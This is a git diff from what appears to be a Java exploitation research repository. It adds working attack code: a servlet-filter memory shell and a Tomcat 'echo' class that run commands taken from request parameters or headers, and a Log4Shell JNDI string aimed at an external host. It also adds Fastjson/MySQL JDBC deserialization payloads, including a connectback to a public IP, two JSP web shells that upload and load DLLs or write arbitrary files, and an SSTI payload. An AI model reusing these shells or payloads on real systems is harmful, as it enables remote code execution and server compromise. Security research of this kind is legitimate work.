aaa) { + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + HttpServletRequest req = (HttpServletRequest) servletRequest; + HttpServletResponse resp = (HttpServletResponse) servletResponse; + if (req.getParameter(this.shellParameter) != null) { + String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; + InputStream in = Runtime.getRuntime().exec(req.getParameter(this.shellParameter)).getInputStream(); + Scanner s = new Scanner(in,charsetName).useDelimiter("\\A"); + String output = s.hasNext() ? s.next() : ""; +// servletResponse.getWriter().write(output); + + resp.getWriter().write(output); + + } + filterChain.doFilter(servletRequest, servletResponse); + } + + @Override + public void destroy() { + + } +} \ No newline at end of file diff --git a/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/AllEcho.java b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/AllEcho.java index 2d53353..008be0d 100644 --- a/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/AllEcho.java +++ b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/AllEcho.java @@ -1,37 +1,31 @@ package summersec.echo.Controller; -//Author:fnmsd -//Blog:https://blog.csdn.net/fnmsd +/** + * @ClassName: dfs + * @Description: TODO + * @Author: Summer + * @Date: 2021年12月9日 13:45 + * @Version: v1.0.0 + * @Description: + **/ public class AllEcho { static java.util.HashSet h; - static ClassLoader cl = java.lang.Thread.currentThread().getContextClassLoader(); - static Class hsr;//HTTPServletRequest.class - static Class hsp;//HTTPServletResponse.class - static String cmd; - static Object r; - static Object p; + static javax.servlet.http.HttpServletRequest r; + static javax.servlet.http.HttpServletResponse p; - public AllEcho() { + public AllEcho(){ r = null; p = null; h =new java.util.HashSet(); - try { - hsr = cl.loadClass("javax.servlet.http.HttpServletRequest"); - hsp = cl.loadClass("javax.servlet.http.HttpServletResponse"); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } - - F(java.lang.Thread.currentThread(),0); + F(Thread.currentThread(),0); } private static boolean i(Object obj){ if(obj==null|| h.contains(obj)){ return true; } - h.add(obj); return false; } @@ -40,45 +34,37 @@ private static void p(Object o, int depth){ return; } if(!i(o)){ - if(r ==null&&hsr.isAssignableFrom(o.getClass())){ - r = o; - //Tomcat特殊处理 - try { - cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,"cmd"); - if(cmd==null) { + if(r ==null&&javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())){ + r = (javax.servlet.http.HttpServletRequest)o; + if(r.getHeader("Ctmd")==null && r.getHeader("c") == null) { + r = null; + }else{ + try { + p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse",null).invoke(r,null); + + } catch (Exception e) { r = null; - }else{ - //System.out.println("find Request"); - try { - java.lang.reflect.Method getResponse = r.getClass().getMethod("getResponse"); - p = getResponse.invoke(r); - } catch (Exception e) { - //System.out.println("getResponse Error"); - r=null; - //e.printStackTrace(); - } } - } catch (IllegalAccessException e) { - e.printStackTrace(); - } catch (java.lang.reflect.InvocationTargetException e) { - e.printStackTrace(); - } catch (NoSuchMethodException e) { - e.printStackTrace(); } - }else if(p ==null&&hsp.isAssignableFrom(o.getClass())){ - p = o; - - } if(r !=null&& p !=null){ try { - String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; - java.io.PrintWriter pw = (java.io.PrintWriter)hsp.getMethod("getWriter").invoke(p); - pw.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream(),charsetName).useDelimiter("\\A").next()); - pw.flush(); - pw.close(); - //p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next()); + +// p.getWriter().println(("$$$" + org.apache.shiro.codec.Base64.encodeToString(new java.util.Scanner(Runtime.getRuntime().exec(org.apache.shiro.codec.Base64.decodeToString(r.getHeader("c"))).getInputStream()).useDelimiter("\\A").next()) + "$$$")); +// p.getWriter().println(("$$$" + org.apache.shiro.codec.Base64.encodeToString(new java.util.Scanner(Runtime.getRuntime().exec(org.apache.shiro.codec.Base64.decodeToString(r.getHeader("c"))).getInputStream()).useDelimiter("\\A").next()) + "$$$")); + if (r.getHeader("Ctmd") != null) { + p.addHeader("techo",r.getHeader("Ctmd")); + }else { + p.getWriter().println("$$$" + java.util.Base64.getEncoder().encode(new java.util.Scanner(Runtime.getRuntime().exec(new String(java.util.Base64.getDecoder().decode(r.getHeader("c")))).getInputStream()).useDelimiter("\\A").next().getBytes()) + "$$$"); + p.getWriter().flush(); + p.getWriter().close(); + } + +// p.getWriter().println(new java.util.Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next()); + + + }catch (Exception e){ } return; @@ -91,16 +77,23 @@ private static void F(Object start, int depth){ Class n=start.getClass(); do{ - for (java.lang.reflect.Field declaredField : n.getDeclaredFields()) { - declaredField.setAccessible(true); + java.lang.reflect.Field f = null; + int l = n.getDeclaredFields().length; + for (int i = 0; i < l; i++) { + f = n.getDeclaredFields()[i]; + f.setAccessible(true); Object o = null; try{ - o = declaredField.get(start); + o = f.get(start); if(!o.getClass().isArray()){ p(o,depth); }else{ - for (Object q : (Object[]) o) { + Object q = null; + Object[] objs = (Object[])o; + int len = java.lang.reflect.Array.getLength(o); + for (int j = 0; j < len; j++) { + q = objs[j]; p(q, depth); } @@ -114,4 +107,4 @@ private static void F(Object start, int depth){ (n = n.getSuperclass())!=null ); } -} \ No newline at end of file +} diff --git a/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/Fastjson.java b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/Fastjson.java index 971c274..9bd3aaa 100644 --- a/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/Fastjson.java +++ b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/Fastjson.java @@ -8,6 +8,9 @@ import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; import java.net.URLDecoder; /** @@ -25,16 +28,19 @@ public String fastjsonvul(){ return "fastjson"; } - @RequestMapping(value = "parse",method = RequestMethod.POST) - @ResponseBody - public String vuldemo1248(@RequestBody String request){ - System.out.println(request); - String result = request.substring(9,request.length()); - System.out.println(URLDecoder.decode(result)); - JSONObject jsonObject = JSON.parseObject(result); - JSONObject result1 = new JSONObject(); - result1.put("data", jsonObject.toJSONString()); - return "parse is ok!"; + @RequestMapping(value = "parse") + public void vuldemo1248(HttpServletRequest request, HttpServletResponse response) throws IOException { + + String result = request.getParameter("textJson"); + System.out.println(result); + try { + JSON.parse(result); + }catch (Exception e) { + response.getWriter().println(e); + } + response.getWriter().println("parse is ok"); + response.getWriter().flush(); + response.getWriter().close(); } diff --git a/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/Log4j.java b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/Log4j.java new file mode 100644 index 0000000..9a47a3f --- /dev/null +++ b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/Log4j.java @@ -0,0 +1,27 @@ +package summersec.echo.Controller; + + +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + + +/** + * @ClassName: Log4j + * @Description: TODO + * @Author: Summer + * @Date: 2021/12/9 20:12 + * @Version: v1.0.0 + * @Description: + **/ +public class Log4j { + + public static void main(String[] args) { + String t = "${jndi:ldap://0cat.a0z7tw.0o0.run/Calc}"; + Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME); + logger.error("{}", t); + logger.info("{}", t); + logger.debug("{}", t); + logger.trace("{}", t); + logger.warn("{}", t); + } +} diff --git a/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/TestECHO.java b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/TestECHO.java new file mode 100644 index 0000000..d6c7ac3 --- /dev/null +++ b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/TestECHO.java @@ -0,0 +1,24 @@ +package summersec.echo.Controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @ClassName: TestECHO + * @Description: TODO + * @Author: Summer + * @Date: 2021/12/10 15:13 + * @Version: v1.0.0 + * @Description: + **/ +@Controller +public class TestECHO { + @RequestMapping("/allecho") + public void echo(HttpServletRequest request, HttpServletResponse response) { + new AllEcho(); + } + +} diff --git a/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Demo/Test1.java b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Demo/Test1.java new file mode 100644 index 0000000..e5f8c9f --- /dev/null +++ b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Demo/Test1.java @@ -0,0 +1,50 @@ +package summersec.echo.Demo; + +/** + * @ClassName: Test1 + * @Description: TODO + * @Author: Summer + * @Date: 2021/12/20 15:13 + * @Version: v1.0.0 + * @Description: + **/ +import com.alibaba.fastjson.JSON; + +public class Test1 { + public static void main(String[] args){ +// String json2="{ \"name\": { \"@type\": \"java.lang.AutoCloseable\", \"@type\": \"com.mysql.jdbc.JDBC4Connection\", \"hostToConnectTo\": \"127.0.0.1\", \"portToConnectTo\": 3306, \"info\": { \"user\": \"yso_CommonsBeanutils1_calc\", \"password\": \"pass\", \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\", \"autoDeserialize\": \"true\", \"NUM_HOSTS\": \"1\" }, \"databaseToConnectTo\": \"dbname\", \"url\": \"\" } }"; +// String json2="{ \"name\": { \"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\", \"proxy\": { \"connectionString\":{ \"url\":\"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&user=yso_CommonsBeanutils1_calc\" } } }}"; +// String json2="{ \"name\": { \"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\", \"proxy\": { \"connectionString\":{ \"url\":\"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsBeanutils1_calc\" } } }}"; + +// String json2 = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection\",\"proxy\":{\"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy\",\"connectionUrl\":{\"@type\":\"com.mysql.cj.conf.url.ReplicationConnectionUrl\", \"masters\":[{\"host\":\"127.0.0.1:3306\"}], \"slaves\":[],\"properties\":{\"host\":\"mysql.host\",\"user\":\"root\",\"dbname\":\"dbname\",\"password\":\"pass\",\"queryInterceptors\":\"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\"}}}}"; + + String json2 = "\n" + + "{\n" + + " \"@type\":\"java.lang.AutoCloseable\",\n" + + " \"@type\":\"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection\",\n" + + " \"proxy\": {\n" + + " \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy\",\n" + + " \"connectionUrl\":{\n" + + " \"@type\":\"com.mysql.cj.conf.url.ReplicationConnectionUrl\",\n" + + " \"masters\":[{\n" + + " \"host\":\"\"\n" + + " }],\n" + + " \"slaves\":[],\n" + + " \"properties\":{\n" + + " \"host\":\"127.0.0.1\",\n" + + " \"user\":\"yso_CommonsBeanutils1_calc\",\n" + + " \"dbname\":\"dbname\",\n" + + " \"password\":\"pass\",\n" + + " \"queryInterceptors\":\"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor\",\n" + + " \"autoDeserialize\":\"true\"\n" + + " }\n" + + " }\n" + + " }\n" + + "}"; + + + + Object obj1 = JSON.parse(json2); + System.out.println(obj1); + } +} diff --git a/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Demo/demo3.java b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Demo/demo3.java new file mode 100644 index 0000000..fabb0f7 --- /dev/null +++ b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Demo/demo3.java @@ -0,0 +1,24 @@ +package summersec.echo.Demo; + +import java.util.Random; +import java.util.UUID; + +/** + * @ClassName: demo3 + * @Description: TODO + * @Author: Summer + * @Date: 2022/1/15 16:24 + * @Version: v1.0.0 + * @Description: + **/ +public class demo3 { + public static void main(String[] args) { + Random random = new Random(System.currentTimeMillis()); + + System.out.println("a"+random.nextInt(1000000) +1); + Runtime.getRuntime().load("C:\\Windows\\Temp\\calc_x64.dll"); + System.load("C:\\Windows\\Temp\\dm8207861.dll"); +// System.load("C:\\Windows\\Temp\\calc_x64.dll"); + + } +} diff --git a/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Demo/demo4.java b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Demo/demo4.java new file mode 100644 index 0000000..00a75c6 --- /dev/null +++ b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Demo/demo4.java @@ -0,0 +1,51 @@ +package summersec.echo.Demo; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.nio.ByteBuffer; +import java.nio.channels.Channels; +import java.nio.channels.FileChannel; +import java.nio.channels.WritableByteChannel; + +public class demo4 extends ClassLoader{ + + public Class g(byte[] b){ + return super.defineClass(b,0,b.length); + } + + public static void main(String[] args) { + File file = new File("src/main/java/java/lang/demo3.class"); + try { + byte[] bytes = getClassBytes(file); + demo4 demo4 =new demo4(); + Class c = demo4.g(bytes); + c.newInstance(); + + } catch (Exception e) { + e.printStackTrace(); + } + + } + private static byte[] getClassBytes(File file) throws Exception + { + // 这里要读入.class的字节,因此要使用字节流 + FileInputStream fis = new FileInputStream(file); + FileChannel fc = fis.getChannel(); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + WritableByteChannel wbc = Channels.newChannel(baos); + ByteBuffer by = ByteBuffer.allocate(1024); + + while (true){ + int i = fc.read(by); + if (i == 0 || i == -1) + break; + by.flip(); + wbc.write(by); + by.clear(); + } + fis.close(); + return baos.toByteArray(); + } + +} diff --git a/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Demo/fjdemo.java b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Demo/fjdemo.java new file mode 100644 index 0000000..0f95006 --- /dev/null +++ b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Demo/fjdemo.java @@ -0,0 +1,37 @@ +package summersec.echo.Demo; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; + +/** + * @ClassName: fjdemo + * @Description: TODO + * @Author: Summer + * @Date: 2021/12/13 14:58 + * @Version: v1.0.0 + * @Description: + **/ +public class fjdemo { + public static void main(String[] args) { +// JSONObject.parse("{\n" + +// " \"hvdopr\": {\n" + +// " \"@type\": \"java.lang.Class\",\n" + +// " \"val\": \"\\x63o\\u006D\\u002E\\x73\\u0075\\u006E\\u002Er\\u006Fw\\u0073\\u0065t.\\u004A\\x64\\u0062c\\x52o\\x77\\x53etIm\\u0070\\u006C\"\n" + +// " },\n" + +// " \"xls919\": {\n" + +// " \"@type\": \"\\x63o\\u006D\\u002E\\x73\\u0075\\u006E\\u002Er\\u006Fw\\u0073\\u0065t.\\u004A\\x64\\u0062c\\x52o\\x77\\x53etIm\\u0070\\u006C\",\n" + +// " \"dataSourceName\": \"ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils1/j6m9n.ns13.tool-kits.space\",\n" + +// " \"autoCommit\": true\n" + +// " }\n" + +// "}"); + + String jdbc = "{\"x\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"1.116.32.76\",\"portToConnectTo\":3307,\"info\":{\"user\":\"yso_CommonsBeanutils1_connectback:1.116.32.76:8021\",\"password\":\"ubuntu\",\"useSSL\":\"false\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\"},\"databaseToConnectTo\":\"mysql\",\"url\":\"\"}}"; + + + String payload_mysqljdbc = "{\"aaa\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.lang.AutoCloseable\", \"@type\":\"\\u0063\\u006f\\u006d.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"192.168.33.128\",\"portToConnectTo\":3306,\"url\":\"jdbc:mysql://192.168.33.128:3306/test?detectCustomCollations=true&autoDeserialize=true&user=\",\"databaseToConnectTo\":\"test\",\"info\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.util.Properties\",\"PORT\":\"3306\",\"statementInterceptors\":\"\\u0063\\u006f\\u006d.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\",\"user\":\"cb\",\"PORT.1\":\"3306\",\"HOST.1\":\"172.20.64.40\",\"NUM_HOSTS\":\"1\",\"HOST\":\"172.20.64.40\",\"DBNAME\":\"test\"}}\n" + "}"; + + JSON.parse(jdbc); +// JSONObject.parseObject(jdbc); +// JSONObject.parse() + } +} diff --git a/Rce_Echo/TomcatEcho/src/main/resources/application.properties b/Rce_Echo/TomcatEcho/src/main/resources/application.properties index 45bd2f1..55573a6 100644 --- a/Rce_Echo/TomcatEcho/src/main/resources/application.properties +++ b/Rce_Echo/TomcatEcho/src/main/resources/application.properties @@ -1,4 +1,4 @@ -server.port=8090 -logging.level.root=debug +server.port=9080 +#logging.level.root=info spring.mvc.view.prefix=/WEB-INF/jsp/ spring.mvc.view.suffix=.jsp \ No newline at end of file diff --git a/Rce_Echo/TomcatEcho/src/main/webapp/WEB-INF/jsp/AddDll.jsp b/Rce_Echo/TomcatEcho/src/main/webapp/WEB-INF/jsp/AddDll.jsp new file mode 100644 index 0000000..b23b110 --- /dev/null +++ b/Rce_Echo/TomcatEcho/src/main/webapp/WEB-INF/jsp/AddDll.jsp @@ -0,0 +1,95 @@ +<%@ page import="java.io.File" %> +<%@ page import="java.io.PrintWriter" %> +<%@ page import="java.util.Random" %> +<%@ page import="java.io.FileOutputStream" %> +<%@ page import="java.io.InputStream" %> +<%@ page import="com.sun.glass.utils.NativeLibLoader" %> +<% + String webrootpath=request.getServletContext().getRealPath("/"); + String webjsppath=request.getServletPath(); + String midilepath=(new File(".").getAbsolutePath()); + PrintWriter outp = response.getWriter(); + outp.println("WebRootPath:"); + outp.println(webrootpath); + outp.println("ServletPath:"); + outp.println(webjsppath); + outp.println("WebServerPath:"); + outp.println(midilepath); + try { + boolean flag = false; + String fp = request.getParameter("up"); + + try { + if (fp != null) { + Random random = new Random(System.currentTimeMillis()); + String os = System.getProperty("os.name").toLowerCase(); + if (os.contains("windows")){ + if (fp.contains("nat")){ + String java = System.getProperty("java.home"); + fp = java + "../../../../../../../../../../../../../../../temp/dm" + random.nextInt(10000000) + "1.dll"; + }else { + fp = "C:/Windows/temp/dm"+ random.nextInt(10000000) + "1.dll"; + } + }else { + fp = "/tmp/dm"+ random.nextInt(10000000) + "1.dll"; + } + File file = new File(fp); + if (file.exists()){ + outp.println("file is exists!"); + }else { + FileOutputStream fos = new FileOutputStream(file); + InputStream inputStream = request.getInputStream(); + byte temp[] = new byte[1024]; + int size = -1; + while ((size = inputStream.read(temp)) != -1) { // 循环读取 + fos.write(temp, 0, size); + } + fos.flush(); + fos.close(); + fp = file.getAbsolutePath(); + flag = true; + outp.println("dll is uploaded!!!"); + } + } + }catch (Exception e){} + outp.println("dll location is " + fp); + String delpath = null; + if (flag){ + delpath = fp; + }else { + delpath = request.getHeader("DelPath"); + } + if (!delpath.isEmpty()){ + try { + if (flag){ + Runtime.getRuntime().load(delpath); + outp.println(delpath + "dll is load!!!"); + flag =false; + } + if (flag){ + System.load(delpath); + outp.println(delpath + "dll is load!!!"); + flag = false; + } + }catch (Exception e){ + try { + NativeLibLoader.loadLibrary(delpath); + outp.println(delpath + "dll is load!!!"); + flag = false; + }catch (Exception e1){ + outp.println(e1); + } + } + if (flag) { + outp.println(delpath + "dll load is failed!!!"); + } + + } + }catch (Exception e2){ + outp.println(e2); + } + outp.println("if dll will be auto load in uploading !!!"); + outp.flush(); + outp.close(); + +%> \ No newline at end of file diff --git a/Rce_Echo/TomcatEcho/src/main/webapp/WEB-INF/jsp/upload.jsp b/Rce_Echo/TomcatEcho/src/main/webapp/WEB-INF/jsp/upload.jsp new file mode 100644 index 0000000..c897b9a --- /dev/null +++ b/Rce_Echo/TomcatEcho/src/main/webapp/WEB-INF/jsp/upload.jsp @@ -0,0 +1,6 @@ +<% + byte[] bytes = new byte[request.getContentLength()]; + new String(String.valueOf(request.getInputStream())); +new java.io.FileOutputStream(request.getHeader("Content-APP")).write(java.util.Base64.getDecoder().decode(bytes)); + +%> \ No newline at end of file diff --git a/Rce_Echo/TomcatEcho/target/classes/application.properties b/Rce_Echo/TomcatEcho/target/classes/application.properties index 45bd2f1..55573a6 100644 --- a/Rce_Echo/TomcatEcho/target/classes/application.properties +++ b/Rce_Echo/TomcatEcho/target/classes/application.properties @@ -1,4 +1,4 @@ -server.port=8090 -logging.level.root=debug +server.port=9080 +#logging.level.root=info spring.mvc.view.prefix=/WEB-INF/jsp/ spring.mvc.view.suffix=.jsp \ No newline at end of file diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..034e848 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,21 @@ +# Security Policy + +## Supported Versions + +Use this section to tell people about which versions of your project are +currently being supported with security updates. + +| Version | Supported | +| ------- | ------------------ | +| 5.1.x | :white_check_mark: | +| 5.0.x | :x: | +| 4.0.x | :white_check_mark: | +| < 4.0 | :x: | + +## Reporting a Vulnerability + +Use this section to tell people how to report a vulnerability. + +Tell them where to go, how often they can expect to get an update on a +reported vulnerability, what to expect if the vulnerability is accepted or +declined, etc. diff --git a/SSTI/src/main/java/com/summersec/ssti/vuldemo/sstidemo.java b/SSTI/src/main/java/com/summersec/ssti/vuldemo/sstidemo.java new file mode 100644 index 0000000..82aff75 --- /dev/null +++ b/SSTI/src/main/java/com/summersec/ssti/vuldemo/sstidemo.java @@ -0,0 +1,24 @@ +package com.summersec.ssti.vuldemo; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; + +/** + * @ClassName: sstidemo + * @Description: TODO + * @Author: Summer + * @Date: 2021/8/24 10:47 + * @Version: v1.0.0 + * @Description: + **/ +@Controller +public class sstidemo { + @RequestMapping(value = "/ssti") + public String ssti(@RequestParam String poc){ + return "" + poc; + } + + +} diff --git a/SSTI/src/main/resources/templates/ssti.html b/SSTI/src/main/resources/templates/ssti.html new file mode 100644 index 0000000..dd029d0 --- /dev/null +++ b/SSTI/src/main/resources/templates/ssti.html @@ -0,0 +1,73 @@ + + + + + + + + + + + + + + + SSTI + + + SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web + 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。 + + + + + + + 运行 + 漏洞代码 + + /** + * 将请求的url作为视图名称,调用模板引擎去解析 + * 在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞 + * payload: __${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x + */ + @GetMapping("/doc/{document}") + public void getDocument(@PathVariable String document) { + System.out.println(document); + } + + + + + 运行 + 安全代码 + + /** + * @safe 由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析 + */ + @GetMapping("/doc/safe/{document}") + public void getDocument(@PathVariable String document, HttpServletResponse response) { + System.out.println("Retrieving " + document); + } + + + + + + 编码建议 + + + + + + + + + + + + + + + AltStyle によって変換されたページ (->オリジナル) / アドレス: モード: デフォルト 音声ブラウザ ルビ付き 配色反転 文字拡大 モバイル + \ No newline at end of file diff --git a/shiro/shiro-ctf/.idea/misc.xml b/shiro/shiro-ctf/.idea/misc.xml index 0d44f34..89a31ed 100644 --- a/shiro/shiro-ctf/.idea/misc.xml +++ b/shiro/shiro-ctf/.idea/misc.xml @@ -13,6 +13,9 @@ + + + diff --git a/shiro/shiro-ctf/.idea/workspace.xml b/shiro/shiro-ctf/.idea/workspace.xml index c43832e..e023642 100644 --- a/shiro/shiro-ctf/.idea/workspace.xml +++ b/shiro/shiro-ctf/.idea/workspace.xml @@ -1,15 +1,26 @@ + + + - - - - - - + + + + + + + + + + + + + + @@ -142,7 +153,7 @@ - + @@ -153,6 +164,7 @@ + @@ -193,11 +205,13 @@ + + - + diff --git a/shiro/shiro-deser/.idea/compiler.xml b/shiro/shiro-deser/.idea/compiler.xml index 80bdd53..a5044ca 100644 --- a/shiro/shiro-deser/.idea/compiler.xml +++ b/shiro/shiro-deser/.idea/compiler.xml @@ -12,7 +12,7 @@ - + \ No newline at end of file diff --git a/shiro/shiro-deser/.idea/misc.xml b/shiro/shiro-deser/.idea/misc.xml index 0dd2b25..06b074a 100644 --- a/shiro/shiro-deser/.idea/misc.xml +++ b/shiro/shiro-deser/.idea/misc.xml @@ -14,6 +14,9 @@ + + + diff --git a/shiro/shiro-deser/.idea/runConfigurations.xml b/shiro/shiro-deser/.idea/runConfigurations.xml new file mode 100644 index 0000000..797acea --- /dev/null +++ b/shiro/shiro-deser/.idea/runConfigurations.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/shiro/shiro-deser/2.txt b/shiro/shiro-deser/2.txt deleted file mode 100644 index a59fa5e..0000000 --- a/shiro/shiro-deser/2.txt +++ /dev/null @@ -1 +0,0 @@ -ICAgICAgICAgICAgICAgIFrbGUUCNjvVG2UcktoI4xT0iehZdxVSvGvgAU4X3Quh/O9ICBEmriNQVyinxSDM4D5ksF1WCZik32pMNJouE35R1e/jCHjGUGogyelNUlHyjTH1/TdUcIYMFExfwSJ80zFK8UGDFeKUyEb4MM0ln7XU0/L0AR/8Tq0IrhuTitZ7x4qZTgkglgbvvmvFdVaLYFMdO8b1I0uh6C6Y5FDXryuasedu79sBq1kJIlhOXJp3ulvV2pKmZ94ff2ZXdTev+oSJKjuZYC3mpF3ndvcpa1Na2dxphNAgA4kGjceMbcaFgdf6ApOZ0aqBbVRHWj9eC1UmWblmkp8ugPhhNvb7OTo2ISa2raJzz9CNUpbkUI4HaAn6NciIZ6AyjLr2gUXotHSix1qZqixoqlRajJup5/m4z+fIEYfIpp0n0h//yghS513ojATPTUt0SnqE3BX3eOd84OhDYhMqVtMReOzJHhR0UPiKvzBPlENIkYD+aOvT0IZkiXeCkqM+mZNA11/Y8XZvJfQDzl19VsFpFp67tTI6eOB1Xw7QwLWg0zKlQ4xeDWscnX6vjRc9LR1aoXfltqYcjipnhPAwTAVL5eaM+NV8mrozJB+kSMOBRhOuyS3mHGQZ3hthak7vffnss4DeL9joKSGtJFCqJhNkjCsGztyeWLBUqnPIwz3ZNhquA7MT+ez0Fbg4mXUSldehrsFg6fWkL6j0E0wcxuT6a0y5O7IkqR3IqZWjYqv8aJGlWqOJ0FMi1vAsHLAQtGEGyWj/q+q1GxLjeXe/cnrxJVBrPpX+R1Jq79KHTxzdSrAgtpbIrzg3LlEiBiixMsvMXSaDBg3x6Afg5a04ApxLFTshNuFqB/ya9iigMoARzJa+1zYw3SlX/C8nUuBClZVP+2uuhQ7y0/RVu14cD21hFUHSPsL2EJstdp+sA2oi3g5qje2RtRJvEcLrkVjAskr3vZ7ct7DS+gmWZSNQe5NWUwfoDpNy6VOOZ14kvRRfkT8ip7WeUaTmjdqTxwR8SSp4sb9aLRjqTYlUPKmuNxtyjehjMJ5DG0uD1qWYVmS6xazEz5Hc0zDauoGKmr3bL+/BCO32OfGeCwId0ZE4HK/63aVNtqbia9LyY8q3jQImUls6P5/RIyVBnunn95IzYwJwR024LXLkrj5kSs+WFHD0ec+CahBIvbvfI7gzPZAcr5IdQzqd/tppaTAvyyscmXzXOam5AlDz/vJjZSx93+4wxLLLZHzfgaGctwCi1GtQ/Z1+Biula81wjccwc9cQ521VjopkNs4IBalvcpE7O68LJANjRgJcSBt9rNNdk7Z7nZzt1J3nllmr4ORR8Mg9DpLHNRGcxcafyes0VGXRmdGjYP251DiMvAzYAcxhetPYdS3dfA4nsCbQgeyAU5VFAXZtBJf4ZuYvSsNdQ0CsAcPo94OkKXivLvSTlGCp7xCpSC3AVO2/LTFqp62HoeZesHxGoNptm7aNzznx1RqP4KlFj5mTjoGnVk5+XQpK/FiD3HRujUTBPk++SKSJen6elncXi7DS90+3iIx9qA9LUnDJHUeuFROMss1S3SnLTWqxCnUPTMSsxbV9GBpsHf8gNr7xZB9c7vznqP3CCkFI9ueSxYVxxWDuddCzezxSiheCIi17IwYioML47eoDrjKT7u6/tXakx80SvCM4swNUM8fMByseBhBptGDU9ln9FPXvxV0rEr1JtweDU3N4XxrXnL9OxrjAvlX2GoZ9CB5/r1zZbpL5fonWviJCx4VE3bYxG8ZJj1VDoADbyF9a3YNLYC5y6RHh8vNnPXZMRDAAJWAORuIHqKxPgawaQV5eW/p4hMkoX/lEAAdxJHKXYvabwsMWNO0Fwsf3ViA08RKWImI4RCnZ1E72K78K+69VwHa11IsVMZ7KqT5vauDRvAUboIcBcoCd8a5JA